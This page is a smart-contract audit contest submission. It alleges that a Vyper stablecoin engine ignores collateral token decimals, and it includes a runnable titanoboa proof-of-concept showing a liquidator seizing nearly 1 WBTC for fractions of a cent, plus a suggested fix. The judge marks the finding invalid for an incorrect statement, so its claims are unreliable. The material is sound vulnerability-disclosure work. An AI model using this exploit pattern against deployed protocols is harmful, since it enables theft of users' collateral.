Algo Ssstablecoinsss

AI First Flight #2
Beginner FriendlyDeFi
EXP
View results
Submission Details
Impact: high
Likelihood: medium
Invalid

Mispricing of collateral with fewer than 18 decimals (WBTC) lets a liquidator steal nearly the whole position

Description

The engine converts between token amounts and USD using only the price feed precision and never the collateral token's own decimals. Both pricing helpers assume every collateral token has 18 decimals.

_get_usd_value (src/dsc_engine.vy:300-316):

return (
(convert(price, uint256) * ADDITIONAL_FEED_PRECISION) * amount
) // PRECISION

_get_token_amount_from_usd (src/dsc_engine.vy:344-364):

return (
(usd_amount_in_wei * PRECISION) // (
convert(price, uint256) * ADDITIONAL_FEED_PRECISION
)
)

ADDITIONAL_FEED_PRECISION (1e10) only upscales the 8 decimal Chainlink answer to 18 decimals. There is no term for the token's decimals, so the result is correct only when amount is expressed in 18 decimals.

WBTC is named as a supported collateral and has 8 decimals on Ethereum mainnet and on ZKsync Era. With 8 decimals, _get_usd_value(wbtc, 1e8) returns about 3e12 wei of USD, that is roughly $0.000003 instead of $30,000. Any WBTC position is therefore valued at about 1e10 times less than its real worth, and _get_account_collateral_value (src/dsc_engine.vy:332-341) sums these wrongly scaled values together.

Because liquidation uses the same broken conversion, a liquidator can repay a negligible amount of DSC and seize the victim's WBTC. The attack path is:

  1. A victim holds a position that becomes liquidatable through a normal price move, for example WETH collateral plus a DSC debt taken against it.

  2. The attacker calls liquidate(wbtc, victim, debt_to_cover) with a tiny debt_to_cover. The engine computes token_amount_from_debt_covered = _get_token_amount_from_usd(wbtc, debt_to_cover), which is scaled up by the missing 8 decimal factor, adds a 10 percent bonus, and transfers that WBTC to the attacker.

  3. The attacker pays a few wei of DSC and receives the WBTC.

Risk

Likelihood: Medium. WBTC as collateral is the protocol's stated configuration and liquidation is permissionless. The mispricing itself is deterministic for every collateral token with fewer than 18 decimals; the theft path additionally requires a victim whose health factor is below 1 while holding such a token. Separately, every WBTC depositor loses almost all borrowing power from the first deposit, because their collateral is valued at roughly 1e10 times too little, so the flaw harms honest users even outside the theft path.

Impact: High. Direct theft of collateral for any token with fewer than 18 decimals. In the proof below the attacker repays about $0.0000027 of DSC and receives 0.99 WBTC, about $29,700. Sizing debt_to_cover up to the rounding limit takes essentially the entire WBTC balance.

Proof of Concept

Self contained moccasin/titanoboa test. The 8 decimal token is defined inline with boa.loads, and the engine is deployed exactly as script/deploy_dsc_engine.py wires it. Save as tests/poc_decimals_theft.py and run uv run mox test tests/poc_decimals_theft.py -s.

import boa
from src import dsc_engine, decentralized_stable_coin
from src.mocks import MockV3Aggregator
# Minimal ERC20 with a configurable `decimals`. The engine only calls
# transfer / transferFrom / approve / balanceOf, and (this is the bug) NEVER
# reads decimals(). Kept inline so the PoC compiles stand-alone.
ERC20_SRC = """
# pragma version ^0.4.0
balanceOf: public(HashMap[address, uint256])
allowance: public(HashMap[address, HashMap[address, uint256]])
totalSupply: public(uint256)
decimals: public(uint8)
@deploy
def __init__(_decimals: uint8):
self.decimals = _decimals
@external
def mint(to: address, amount: uint256):
self.balanceOf[to] += amount
self.totalSupply += amount
@external
def approve(spender: address, amount: uint256) -> bool:
self.allowance[msg.sender][spender] = amount
return True
@external
def transfer(to: address, amount: uint256) -> bool:
self.balanceOf[msg.sender] -= amount
self.balanceOf[to] += amount
return True
@external
def transferFrom(owner: address, to: address, amount: uint256) -> bool:
self.allowance[owner][msg.sender] -= amount
self.balanceOf[owner] -= amount
self.balanceOf[to] += amount
return True
"""
WBTC_DECIMALS = 8
WETH_DECIMALS = 18
FEED_DECIMALS = 8
def test_decimals_theft():
deployer = boa.env.eoa
victim = boa.env.generate_address()
attacker = boa.env.generate_address()
# Collateral tokens: WETH (18 dec) and WBTC (8 dec, like mainnet/zksync)
weth = boa.loads(ERC20_SRC, WETH_DECIMALS)
wbtc = boa.loads(ERC20_SRC, WBTC_DECIMALS)
# Chainlink mock feeds: ETH = $2,000, BTC = $30,000 (both 8-decimal feeds)
eth_usd = MockV3Aggregator.deploy(FEED_DECIMALS, 2_000 * 10**FEED_DECIMALS)
btc_usd = MockV3Aggregator.deploy(FEED_DECIMALS, 30_000 * 10**FEED_DECIMALS)
# DSC + engine wired exactly like deploy_dsc_engine.py
dsc = decentralized_stable_coin.deploy()
engine = dsc_engine.deploy(
[wbtc.address, weth.address], [btc_usd.address, eth_usd.address], dsc.address
)
dsc.set_minter(engine.address, True)
dsc.transfer_ownership(engine.address)
one_weth = 1 * 10**WETH_DECIMALS # 1 WETH -> $2,000
one_wbtc = 1 * 10**WBTC_DECIMALS # 1 WBTC -> $30,000 (real)
# The engine prices 1 real WBTC ($30,000) at ~$0.000003 because it ignores
# the token's 8 decimals. This is the core flaw.
engine_wbtc_value = engine.get_usd_value(wbtc.address, one_wbtc)
assert engine_wbtc_value < 10**13, engine_wbtc_value # < $0.00001 (18-dec USD)
print(f"Engine values 1 WBTC (real $30,000) at {engine_wbtc_value} wei-USD")
# Victim opens a position: 1 WETH + 1 WBTC, mints DSC near the limit
weth.mint(victim, one_weth)
wbtc.mint(victim, one_wbtc)
dsc_minted = 1_000 * 10**18 # $1,000 DSC, backed by the $2,000 WETH leg
with boa.env.prank(victim):
weth.approve(engine.address, one_weth)
wbtc.approve(engine.address, one_wbtc)
engine.deposit_collateral(wbtc.address, one_wbtc)
engine.deposit_collateral_and_mint_dsc(weth.address, one_weth, dsc_minted)
# Victim is healthy until a tiny WETH dip pushes the (engine-side) HF < 1.
eth_usd.updateAnswer(1_999 * 10**FEED_DECIMALS) # $2,000 -> $1,999
assert engine.health_factor(victim) < 10**18
# Attacker funds a tiny DSC balance to perform the liquidation
attacker_weth = 1 * 10**WETH_DECIMALS
weth.mint(attacker, attacker_weth)
with boa.env.prank(attacker):
weth.approve(engine.address, attacker_weth)
engine.deposit_collateral_and_mint_dsc(weth.address, attacker_weth, 100 * 10**18)
# debt_to_cover sized so collateral seized (+10% bonus) is ~0.99 WBTC.
debt_to_cover = 27 * 10**11 # 2.7e12 wei DSC ~= $0.0000027
attacker_dsc_before = dsc.balanceOf(attacker)
attacker_wbtc_before = wbtc.balanceOf(attacker)
with boa.env.prank(attacker):
dsc.approve(engine.address, debt_to_cover)
engine.liquidate(wbtc.address, victim, debt_to_cover)
dsc_spent = attacker_dsc_before - dsc.balanceOf(attacker)
wbtc_stolen = wbtc.balanceOf(attacker) - attacker_wbtc_before
# Real USD: WBTC seized vs DSC paid (DSC pegged $1).
wbtc_stolen_usd = wbtc_stolen * 30_000 / 10**WBTC_DECIMALS
dsc_spent_usd = dsc_spent / 10**18
print(f"Attacker paid {dsc_spent} wei DSC (${dsc_spent_usd:.7f})")
print(f"Attacker seized {wbtc_stolen} WBTC base units (${wbtc_stolen_usd:,.2f})")
# The theft: ~$29,700 of WBTC taken for ~$0.0000027 of DSC.
assert wbtc_stolen >= 99 * 10**6 # >= 0.99 WBTC seized
assert dsc_spent <= 3 * 10**12 # <= ~$0.000003 paid
assert wbtc_stolen_usd > dsc_spent_usd * 1_000_000 # profit > 1,000,000x

Output (test passes):

Engine values 1 WBTC (real $30,000) at 3000000000000 wei-USD
Attacker paid 2700000000000 wei DSC ($0.0000027)
Attacker seized 99000000 WBTC base units ($29,700.00)
1 passed

Recommended Mitigation

Normalize every token amount to 18 decimals before pricing, and de-normalize when returning a token amount. Read the token's decimals() once, or store it per collateral at construction:

from ethereum.ercs import IERC20Detailed
@internal
@view
def _to_18(token: address, amount: uint256) -> uint256:
d: uint256 = convert(staticcall IERC20Detailed(token).decimals(), uint256)
return amount * (10 ** (18 - d)) # assumes d <= 18; handle d > 18 symmetrically
@internal
@view
def _from_18(token: address, amount_18: uint256) -> uint256:
d: uint256 = convert(staticcall IERC20Detailed(token).decimals(), uint256)
return amount_18 // (10 ** (18 - d))
# _get_usd_value: price the normalized amount
normalized: uint256 = self._to_18(token, amount)
return ((convert(price, uint256) * ADDITIONAL_FEED_PRECISION) * normalized) // PRECISION
# _get_token_amount_from_usd: scale the 18-decimal result back to token units
amount_18: uint256 = (usd_amount_in_wei * PRECISION) // (convert(price, uint256) * ADDITIONAL_FEED_PRECISION)
return self._from_18(token, amount_18)
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!